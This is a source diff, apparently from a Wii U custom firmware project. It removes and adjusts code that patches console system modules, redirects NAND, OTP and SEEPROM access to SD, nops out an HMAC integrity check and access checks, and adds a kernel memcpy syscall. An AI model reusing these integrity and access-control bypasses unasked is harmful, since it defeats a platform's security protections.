void bsp_run_patches(u32 ios_elf_start)
|
|
||||||
{
|
|
||||||
section_write(ios_elf_start, _text_start, (void*)bsp_get_phys_code_base(), _text_end - _text_start);
|
|
||||||
section_write_bss(ios_elf_start, _bss_start, _bss_end - _bss_start);
|
|
||||||
|
|
||||||
section_write(ios_elf_start, _seeprom_buffer_start, (void*)(_seeprom_buffer_start - 0xE6047000 + 0x13D07000), 0x200);
|
|
||||||
|
|
||||||
section_write_word(ios_elf_start, 0xE600D08C, ARM_B(0xE600D08C, EEPROM_SPI_ReadWord));
|
|
||||||
section_write_word(ios_elf_start, 0xE600D010, ARM_B(0xE600D010, EEPROM_SPI_WriteWord));
|
|
||||||
section_write_word(ios_elf_start, 0xE600CF5C, ARM_B(0xE600CF5C, EEPROM_WriteControl));
|
|
||||||
}
|
|
@ -1,31 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#ifndef _BSP_PATCHES_H_
|
|
||||||
#define _BSP_PATCHES_H_
|
|
||||||
|
|
||||||
u32 bsp_get_phys_code_base(void);
|
|
||||||
void bsp_run_patches(u32 ios_elf_start);
|
|
||||||
int bsp_init_seeprom_buffer(u32 baseSector, int dumpFound);
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,102 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#include "types.h"
|
|
||||||
#include "elf_patcher.h"
|
|
||||||
#include "ios_fs_patches.h"
|
|
||||||
#include "config.h"
|
|
||||||
#include "../../ios_fs/ios_fs_syms.h"
|
|
||||||
|
|
||||||
#define FS_PHYS_DIFF 0
|
|
||||||
|
|
||||||
#define FS_SYSLOG_OUTPUT 0x107F0C84
|
|
||||||
#define FS_PRINTF_SYSLOG 0x107F5720
|
|
||||||
#define CALL_FS_REGISTERMDPHYSICALDEVICE 0x107BD81C
|
|
||||||
#define FS_GETMDDEVICEBYID 0x107187C4
|
|
||||||
#define FS_CREATEDEVTHREAD_HOOK 0x10700294
|
|
||||||
#define FS_USB_READ 0x1077F1C0
|
|
||||||
#define FS_USB_WRITE 0x1077F35C
|
|
||||||
#define FS_SLC_READ1 0x107B998C
|
|
||||||
#define FS_SLC_READ2 0x107B98FC
|
|
||||||
#define FS_SLC_WRITE1 0x107B9870
|
|
||||||
#define FS_SLC_WRITE2 0x107B97E4
|
|
||||||
#define FS_MLC_READ1 0x107DC760
|
|
||||||
#define FS_MLC_READ2 0x107DCDE4
|
|
||||||
#define FS_MLC_WRITE1 0x107DC0C0
|
|
||||||
#define FS_MLC_WRITE2 0x107DC73C
|
|
||||||
#define FS_SDCARD_READ1 0x107BDDD0
|
|
||||||
#define FS_SDCARD_WRITE1 0x107BDD60
|
|
||||||
|
|
||||||
extern const patch_table_t fs_patches_table[];
|
|
||||||
extern const patch_table_t fs_patches_table_end[];
|
|
||||||
|
|
||||||
u32 fs_get_phys_code_base(void)
|
|
||||||
{
|
|
||||||
return _text_start + FS_PHYS_DIFF;
|
|
||||||
}
|
|
||||||
|
|
||||||
void fs_run_patches(u32 ios_elf_start)
|
|
||||||
{
|
|
||||||
// write wupserver code and bss
|
|
||||||
section_write(ios_elf_start, _text_start, (void*)fs_get_phys_code_base(), _text_end - _text_start);
|
|
||||||
section_write_bss(ios_elf_start, _bss_start, _bss_end - _bss_start);
|
|
||||||
|
|
||||||
// patch FS logging
|
|
||||||
section_write_word(ios_elf_start, FS_PRINTF_SYSLOG, ARM_B(FS_PRINTF_SYSLOG, FS_SYSLOG_OUTPUT));
|
|
||||||
|
|
||||||
if(cfw_config.redNAND)
|
|
||||||
{
|
|
||||||
section_write_word(ios_elf_start, CALL_FS_REGISTERMDPHYSICALDEVICE, ARM_BL(CALL_FS_REGISTERMDPHYSICALDEVICE, registerMdDevice_hook));
|
|
||||||
section_write_word(ios_elf_start, FS_GETMDDEVICEBYID + 8, ARM_BL((FS_GETMDDEVICEBYID + 8), getMdDeviceById_hook));
|
|
||||||
|
|
||||||
section_write_word(ios_elf_start, FS_SDCARD_READ1, ARM_B(FS_SDCARD_READ1, sdcardRead_patch));
|
|
||||||
section_write_word(ios_elf_start, FS_SDCARD_WRITE1, ARM_B(FS_SDCARD_WRITE1, sdcardWrite_patch));
|
|
||||||
|
|
||||||
section_write_word(ios_elf_start, FS_SLC_READ1, ARM_B(FS_SLC_READ1, slcRead1_patch));
|
|
||||||
section_write_word(ios_elf_start, FS_SLC_READ2, ARM_B(FS_SLC_READ2, slcRead2_patch));
|
|
||||||
section_write_word(ios_elf_start, FS_SLC_WRITE1, ARM_B(FS_SLC_WRITE1, slcWrite1_patch));
|
|
||||||
section_write_word(ios_elf_start, FS_SLC_WRITE2, ARM_B(FS_SLC_WRITE2, slcWrite2_patch));
|
|
||||||
|
|
||||||
//section_write_word(ios_elf_start, FS_USB_READ, ARM_B(FS_USB_READ, usbRead_patch));
|
|
||||||
//section_write_word(ios_elf_start, FS_USB_WRITE, ARM_B(FS_USB_WRITE, usbWrite_patch));
|
|
||||||
}
|
|
||||||
|
|
||||||
//section_write_word(ios_elf_start, 0x1070F87C, ARM_BL(0x1070F87C, FSA_AttachVolume_FillDescription_hook));
|
|
||||||
//section_write_word(ios_elf_start, 0x10700EFC, ARM_BL(0x10700EFC, FSA_AsyncCommandCallback_hook));
|
|
||||||
// patch mounting FAT and allow all devices instead of only SD card
|
|
||||||
//section_write_word(ios_elf_start, 0x1078E074, 0xEA000002);
|
|
||||||
// patch FSA_MakeQuota to not store command -> command is modified depending on wether it is USB FAT or not
|
|
||||||
//section_write_word(ios_elf_start, 0x1070BE0C, 0xE1A00000);
|
|
||||||
//section_write_word(ios_elf_start, 0x1070BE00, ARM_BL(0x1070BE00, FSA_MakeQuota_asm_hook));
|
|
||||||
|
|
||||||
section_write_word(ios_elf_start, FS_CREATEDEVTHREAD_HOOK, ARM_B(FS_CREATEDEVTHREAD_HOOK, createDevThread_hook));
|
|
||||||
|
|
||||||
u32 patch_count = (u32)(((u8*)fs_patches_table_end) - ((u8*)fs_patches_table)) / sizeof(patch_table_t);
|
|
||||||
patch_table_entries(ios_elf_start, fs_patches_table, patch_count);
|
|
||||||
|
|
||||||
//section_write_word(ios_elf_start, 0x10701F6C, ARM_BL(0x10701F6C, FSMakeQuota));
|
|
||||||
//section_write_word(ios_elf_start, 0x10702764, ARM_BL(0x10702764, FSCreateDir));
|
|
||||||
//section_write_word(ios_elf_start, 0x1070278C, ARM_BL(0x1070278C, FSChangeDir));
|
|
||||||
//section_write_word(ios_elf_start, 0x107024B4, ARM_BL(0x107024B4, FSOpenFile));
|
|
||||||
//section_write_word(ios_elf_start, 0x10703F4C, ARM_BL(0x10703F4C, FSWriteFileIssueCommand));
|
|
||||||
}
|
|
@ -1,30 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#ifndef _FS_PATCHES_H_
|
|
||||||
#define _FS_PATCHES_H_
|
|
||||||
|
|
||||||
u32 fs_get_phys_code_base(void);
|
|
||||||
void fs_run_patches(u32 ios_elf_start);
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,40 +0,0 @@
|
|||||||
.arm
|
|
||||||
|
|
||||||
# patch out sdcard deinitialization
|
|
||||||
patch_mdExit:
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
# patch out FSRawOpen access
|
|
||||||
patch_FSRawOpen:
|
|
||||||
streq r2, [r1, #0x70]
|
|
||||||
.word 0xEAFFFFF9
|
|
||||||
|
|
||||||
# nop out hmac memcmp
|
|
||||||
patch_hmac_check:
|
|
||||||
mov r0, #0
|
|
||||||
|
|
||||||
# null out references to slcSomething1 and slcSomething2
|
|
||||||
# (nulling them out is apparently ok; more importantly, i'm not sure what they do and would rather get a crash than unwanted slc-writing)
|
|
||||||
slcSomething1:
|
|
||||||
.word 0x00000000
|
|
||||||
slcSomething2:
|
|
||||||
.word 0x00000000
|
|
||||||
|
|
||||||
#syslogOutput_hook:
|
|
||||||
# push {r0,lr}
|
|
||||||
# bl dump_syslog
|
|
||||||
# pop {r0,lr}
|
|
||||||
# restore original instruction
|
|
||||||
# pop {r4-r8,r10,pc}
|
|
||||||
|
|
||||||
|
|
||||||
.globl fs_patches_table, fs_patches_table_end
|
|
||||||
fs_patches_table:
|
|
||||||
# origin data size
|
|
||||||
.word 0x107BD374, patch_mdExit, 4
|
|
||||||
.word 0x1070FAE8, patch_FSRawOpen, 8
|
|
||||||
.word 0x107B96B8, slcSomething1, 8
|
|
||||||
.word 0x107206F0, patch_hmac_check, 4
|
|
||||||
# .word 0x107F0B68, syslogOutput_hook, 4
|
|
||||||
fs_patches_table_end:
|
|
||||||
|
|
@ -23,7 +23,6 @@
|
|||||||
***************************************************************************/
|
***************************************************************************/
|
||||||
#include "types.h"
|
#include "types.h"
|
||||||
#include "elf_patcher.h"
|
#include "elf_patcher.h"
|
||||||
#include "config.h"
|
|
||||||
#include "ios_mcp_patches.h"
|
#include "ios_mcp_patches.h"
|
||||||
#include "../../ios_mcp/ios_mcp.bin.h"
|
#include "../../ios_mcp/ios_mcp.bin.h"
|
||||||
#include "../../ios_mcp/ios_mcp_syms.h"
|
#include "../../ios_mcp/ios_mcp_syms.h"
|
||||||
@ -46,11 +45,7 @@ void mcp_run_patches(u32 ios_elf_start)
|
|||||||
|
|
||||||
section_write_word(ios_elf_start, 0x05056718, ARM_BL(0x05056718, _text_start));
|
section_write_word(ios_elf_start, 0x05056718, ARM_BL(0x05056718, _text_start));
|
||||||
|
|
||||||
if(cfw_config.syshaxXml)
|
section_write_word(ios_elf_start, 0x05002BBE, THUMB_BL(0x05002BBE, patch_SD_access_check));
|
||||||
{
|
|
||||||
section_write(ios_elf_start, 0x050600DC, "/vol/system/config/syshax.xml", 0x20);
|
|
||||||
section_write(ios_elf_start, 0x050600FC, "/vol/system_slc/config/syshax.xml", 0x24);
|
|
||||||
}
|
|
||||||
|
|
||||||
u32 patch_count = (u32)(((u8*)mcp_patches_table_end) - ((u8*)mcp_patches_table)) / sizeof(patch_table_t);
|
u32 patch_count = (u32)(((u8*)mcp_patches_table_end) - ((u8*)mcp_patches_table)) / sizeof(patch_table_t);
|
||||||
patch_table_entries(ios_elf_start, mcp_patches_table, patch_count);
|
patch_table_entries(ios_elf_start, mcp_patches_table, patch_count);
|
||||||
|
@ -25,13 +25,9 @@
|
|||||||
#include "../../common/kernel_commands.h"
|
#include "../../common/kernel_commands.h"
|
||||||
#include "elf_patcher.h"
|
#include "elf_patcher.h"
|
||||||
#include "ios_mcp_patches.h"
|
#include "ios_mcp_patches.h"
|
||||||
#include "ios_acp_patches.h"
|
|
||||||
#include "ios_fs_patches.h"
|
|
||||||
#include "ios_bsp_patches.h"
|
|
||||||
#include "kernel_patches.h"
|
#include "kernel_patches.h"
|
||||||
#include "exception_handler.h"
|
#include "exception_handler.h"
|
||||||
#include "fsa.h"
|
#include "fsa.h"
|
||||||
#include "config.h"
|
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
extern void __KERNEL_CODE_START(void);
|
extern void __KERNEL_CODE_START(void);
|
||||||
@ -40,8 +36,6 @@ extern void __KERNEL_CODE_END(void);
|
|||||||
extern const patch_table_t kernel_patches_table[];
|
extern const patch_table_t kernel_patches_table[];
|
||||||
extern const patch_table_t kernel_patches_table_end[];
|
extern const patch_table_t kernel_patches_table_end[];
|
||||||
|
|
||||||
static u8 otp_buffer[0x400];
|
|
||||||
|
|
||||||
static const u32 mcpIoMappings_patch[] =
|
static const u32 mcpIoMappings_patch[] =
|
||||||
{
|
{
|
||||||
// vaddr paddr size ? ? ?
|
// vaddr paddr size ? ? ?
|
||||||
@ -76,44 +70,12 @@ static int kernel_syscall_0x81(u32 command, u32 arg1, u32 arg2, u32 arg3)
|
|||||||
kernel_memcpy((void*)arg1, (void*) arg2, arg3);
|
kernel_memcpy((void*)arg1, (void*) arg2, arg3);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case KERNEL_GET_CFW_CONFIG:
|
|
||||||
{
|
|
||||||
//set_domain_register(0xFFFFFFFF);
|
|
||||||
kernel_memcpy((void*)arg1, &cfw_config, sizeof(cfw_config));
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
default:
|
default:
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static int kernel_read_otp_internal(int index, void* out_buf, u32 size)
|
|
||||||
{
|
|
||||||
kernel_memcpy(out_buf, otp_buffer + (index << 2), size);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int kernel_init_otp_buffer(u32 sd_sector, int dumpFound)
|
|
||||||
{
|
|
||||||
int res;
|
|
||||||
|
|
||||||
if(dumpFound)
|
|
||||||
{
|
|
||||||
res = FSA_SDReadRawSectors(otp_buffer, sd_sector, 2);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
int (*orig_kernel_read_otp_internal)(int index, void* out_buf, u32 size) = (void*)0x08120248;
|
|
||||||
res = orig_kernel_read_otp_internal(0, otp_buffer, 0x400);
|
|
||||||
}
|
|
||||||
|
|
||||||
if((res == 0) && (dumpFound == 0))
|
|
||||||
{
|
|
||||||
FSA_SDWriteRawSectors(otp_buffer, sd_sector, 2);
|
|
||||||
}
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
|
|
||||||
void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H)
|
void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H)
|
||||||
{
|
{
|
||||||
@ -129,11 +91,6 @@ void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H)
|
|||||||
//! try to keep the order of virt. addresses to reduce the memmove amount
|
//! try to keep the order of virt. addresses to reduce the memmove amount
|
||||||
mcp_run_patches(ios_elf_start);
|
mcp_run_patches(ios_elf_start);
|
||||||
kernel_run_patches(ios_elf_start);
|
kernel_run_patches(ios_elf_start);
|
||||||
fs_run_patches(ios_elf_start);
|
|
||||||
//acp_run_patches(ios_elf_start);
|
|
||||||
|
|
||||||
if(cfw_config.redNAND && cfw_config.seeprom_red)
|
|
||||||
bsp_run_patches(ios_elf_start);
|
|
||||||
|
|
||||||
restore_mmu(control_register);
|
restore_mmu(control_register);
|
||||||
enable_interrupts(level);
|
enable_interrupts(level);
|
||||||
@ -155,12 +112,6 @@ void kernel_run_patches(u32 ios_elf_start)
|
|||||||
|
|
||||||
section_write_word(ios_elf_start, 0x0812CD2C, ARM_B(0x0812CD2C, kernel_syscall_0x81));
|
section_write_word(ios_elf_start, 0x0812CD2C, ARM_B(0x0812CD2C, kernel_syscall_0x81));
|
||||||
|
|
||||||
if(cfw_config.redNAND && cfw_config.otp_red)
|
|
||||||
{
|
|
||||||
section_write(ios_elf_start, (u32)otp_buffer, otp_buffer, 0x400);
|
|
||||||
section_write_word(ios_elf_start, 0x08120248, ARM_B(0x08120248, kernel_read_otp_internal));
|
|
||||||
}
|
|
||||||
|
|
||||||
u32 patch_count = (u32)(((u8*)kernel_patches_table_end) - ((u8*)kernel_patches_table)) / sizeof(patch_table_t);
|
u32 patch_count = (u32)(((u8*)kernel_patches_table_end) - ((u8*)kernel_patches_table)) / sizeof(patch_table_t);
|
||||||
patch_table_entries(ios_elf_start, kernel_patches_table, patch_count);
|
patch_table_entries(ios_elf_start, kernel_patches_table, patch_count);
|
||||||
}
|
}
|
||||||
|
@ -22,19 +22,11 @@
|
|||||||
* distribution.
|
* distribution.
|
||||||
***************************************************************************/
|
***************************************************************************/
|
||||||
#include "types.h"
|
#include "types.h"
|
||||||
#include "config.h"
|
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
#include "redirection_setup.h"
|
|
||||||
#include "ios_mcp_patches.h"
|
#include "ios_mcp_patches.h"
|
||||||
#include "ios_acp_patches.h"
|
|
||||||
#include "ios_fs_patches.h"
|
|
||||||
#include "ios_bsp_patches.h"
|
|
||||||
#include "instant_patches.h"
|
#include "instant_patches.h"
|
||||||
|
|
||||||
#define USB_PHYS_CODE_BASE 0x101312D0
|
#define USB_PHYS_CODE_BASE 0x101312D0
|
||||||
|
|
||||||
cfw_config_t cfw_config;
|
|
||||||
|
|
||||||
typedef struct
|
typedef struct
|
||||||
{
|
{
|
||||||
u32 size;
|
u32 size;
|
||||||
@ -94,30 +86,11 @@ int _main()
|
|||||||
|
|
||||||
payload_info_t *payloads = (payload_info_t*)0x00148000;
|
payload_info_t *payloads = (payload_info_t*)0x00148000;
|
||||||
|
|
||||||
kernel_memcpy((void*)&cfw_config, payloads->data, payloads->size);
|
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
||||||
|
|
||||||
kernel_memcpy((void*)USB_PHYS_CODE_BASE, payloads->data, payloads->size);
|
kernel_memcpy((void*)USB_PHYS_CODE_BASE, payloads->data, payloads->size);
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||||
|
|
||||||
kernel_memcpy((void*)fs_get_phys_code_base(), payloads->data, payloads->size);
|
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
||||||
|
|
||||||
if(cfw_config.redNAND && cfw_config.seeprom_red)
|
|
||||||
kernel_memcpy((void*)bsp_get_phys_code_base(), payloads->data, payloads->size);
|
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
||||||
|
|
||||||
kernel_memcpy((void*)acp_get_phys_code_base(), payloads->data, payloads->size);
|
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
||||||
|
|
||||||
kernel_memcpy((void*)mcp_get_phys_code_base(), payloads->data, payloads->size);
|
kernel_memcpy((void*)mcp_get_phys_code_base(), payloads->data, payloads->size);
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||||
|
|
||||||
if(cfw_config.launchImage)
|
|
||||||
{
|
|
||||||
kernel_memcpy((void*)MCP_LAUNCH_IMG_PHYS_ADDR, payloads->data, payloads->size);
|
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
||||||
}
|
|
||||||
|
|
||||||
// run all instant patches as necessary
|
// run all instant patches as necessary
|
||||||
instant_patches_setup();
|
instant_patches_setup();
|
||||||
@ -132,10 +105,5 @@ int _main()
|
|||||||
|
|
||||||
enable_interrupts(level);
|
enable_interrupts(level);
|
||||||
|
|
||||||
if(cfw_config.redNAND)
|
|
||||||
{
|
|
||||||
redirection_setup();
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
@ -1,92 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#include "config.h"
|
|
||||||
#include "utils.h"
|
|
||||||
#include "fsa.h"
|
|
||||||
#include "kernel_patches.h"
|
|
||||||
#include "ios_bsp_patches.h"
|
|
||||||
|
|
||||||
void redirection_setup(void)
|
|
||||||
{
|
|
||||||
int seepromDumpFound = 0;
|
|
||||||
u32 seepromDumpBaseSector = 0x4FF;
|
|
||||||
int otpDumpFound = 0;
|
|
||||||
u32 otpDumpBaseSector = 0x4FD;
|
|
||||||
int writeInfoSector = 0;
|
|
||||||
sdio_nand_signature_sector_t *infoSector = (sdio_nand_signature_sector_t*)0x00141000;
|
|
||||||
kernel_memset(infoSector, 0x00, 0x200);
|
|
||||||
|
|
||||||
int result = FSA_SDReadRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1);
|
|
||||||
if(result < 0)
|
|
||||||
return;
|
|
||||||
|
|
||||||
if(infoSector->signature == NAND_DUMP_SIGNATURE)
|
|
||||||
{
|
|
||||||
int i;
|
|
||||||
for(i = 0; i < NAND_MAX_DESC_TYPES; i++)
|
|
||||||
{
|
|
||||||
if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_SEEPROM)
|
|
||||||
{
|
|
||||||
seepromDumpFound = 1;
|
|
||||||
seepromDumpBaseSector = infoSector->nand_descriptions[i].base_sector;
|
|
||||||
}
|
|
||||||
if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_OTP)
|
|
||||||
{
|
|
||||||
otpDumpFound = 1;
|
|
||||||
otpDumpBaseSector = infoSector->nand_descriptions[i].base_sector;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(cfw_config.seeprom_red)
|
|
||||||
{
|
|
||||||
bsp_init_seeprom_buffer(seepromDumpBaseSector, seepromDumpFound);
|
|
||||||
|
|
||||||
if(seepromDumpFound == 0)
|
|
||||||
{
|
|
||||||
infoSector->nand_descriptions[3].nand_type = NAND_DESC_TYPE_SEEPROM;
|
|
||||||
infoSector->nand_descriptions[3].base_sector = seepromDumpBaseSector;
|
|
||||||
infoSector->nand_descriptions[3].sector_count = 1;
|
|
||||||
writeInfoSector++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(cfw_config.otp_red)
|
|
||||||
{
|
|
||||||
kernel_init_otp_buffer(otpDumpBaseSector, otpDumpFound);
|
|
||||||
|
|
||||||
if(otpDumpFound == 0)
|
|
||||||
{
|
|
||||||
infoSector->nand_descriptions[4].nand_type = NAND_DESC_TYPE_OTP;
|
|
||||||
infoSector->nand_descriptions[4].base_sector = otpDumpBaseSector;
|
|
||||||
infoSector->nand_descriptions[4].sector_count = 2;
|
|
||||||
writeInfoSector++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(writeInfoSector > 0)
|
|
||||||
{
|
|
||||||
FSA_SDWriteRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1);
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,29 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#ifndef _REDIRECTION_SETUP_H_
|
|
||||||
#define _REDIRECTION_SETUP_H_
|
|
||||||
|
|
||||||
void redirection_setup(void);
|
|
||||||
|
|
||||||
#endif
|
|
@ -6,6 +6,8 @@ ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
|
|||||||
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
||||||
endif
|
endif
|
||||||
|
|
||||||
|
LOG_IP = 0xc0a800ea
|
||||||
|
|
||||||
ifneq ($(LOG_IP),)
|
ifneq ($(LOG_IP),)
|
||||||
CFLAGS += -DLOG_IP=$(LOG_IP)
|
CFLAGS += -DLOG_IP=$(LOG_IP)
|
||||||
endif
|
endif
|
||||||
|
@ -8,11 +8,11 @@
|
|||||||
#ifdef LOG_IP
|
#ifdef LOG_IP
|
||||||
static int log_socket = 0;
|
static int log_socket = 0;
|
||||||
|
|
||||||
int log_init(unsigned int ipAddress)
|
int log_init(unsigned int ipAddress){
|
||||||
{
|
|
||||||
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||||
if (log_socket < 0)
|
if (log_socket < 0){
|
||||||
return log_socket;
|
return log_socket;
|
||||||
|
}
|
||||||
|
|
||||||
struct sockaddr_in connect_addr;
|
struct sockaddr_in connect_addr;
|
||||||
memset(&connect_addr, 0, sizeof(connect_addr));
|
memset(&connect_addr, 0, sizeof(connect_addr));
|
||||||
@ -40,6 +40,9 @@ void log_deinit()
|
|||||||
|
|
||||||
static void log_print(const char *str, int len)
|
static void log_print(const char *str, int len)
|
||||||
{
|
{
|
||||||
|
if(log_socket < 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
int ret;
|
int ret;
|
||||||
while (len > 0) {
|
while (len > 0) {
|
||||||
int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet
|
int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet
|
||||||
|
@ -5,7 +5,6 @@
|
|||||||
#include "ipc.h"
|
#include "ipc.h"
|
||||||
#include "svc.h"
|
#include "svc.h"
|
||||||
#include "text.h"
|
#include "text.h"
|
||||||
#include "../../common/config_types.h"
|
|
||||||
#include "../../common/kernel_commands.h"
|
#include "../../common/kernel_commands.h"
|
||||||
|
|
||||||
static int threadsStarted = 0;
|
static int threadsStarted = 0;
|
||||||
@ -15,17 +14,23 @@ int _startMainThread(void)
|
|||||||
if(threadsStarted == 0)
|
if(threadsStarted == 0)
|
||||||
{
|
{
|
||||||
threadsStarted = 1;
|
threadsStarted = 1;
|
||||||
cfw_config_t cfw_config;
|
|
||||||
memset(&cfw_config, 0, sizeof(cfw_config));
|
|
||||||
svcCustomKernelCommand(KERNEL_GET_CFW_CONFIG, &cfw_config);
|
|
||||||
|
|
||||||
if(cfw_config.launchImage)
|
|
||||||
{
|
|
||||||
drawSplashScreen();
|
|
||||||
}
|
|
||||||
|
|
||||||
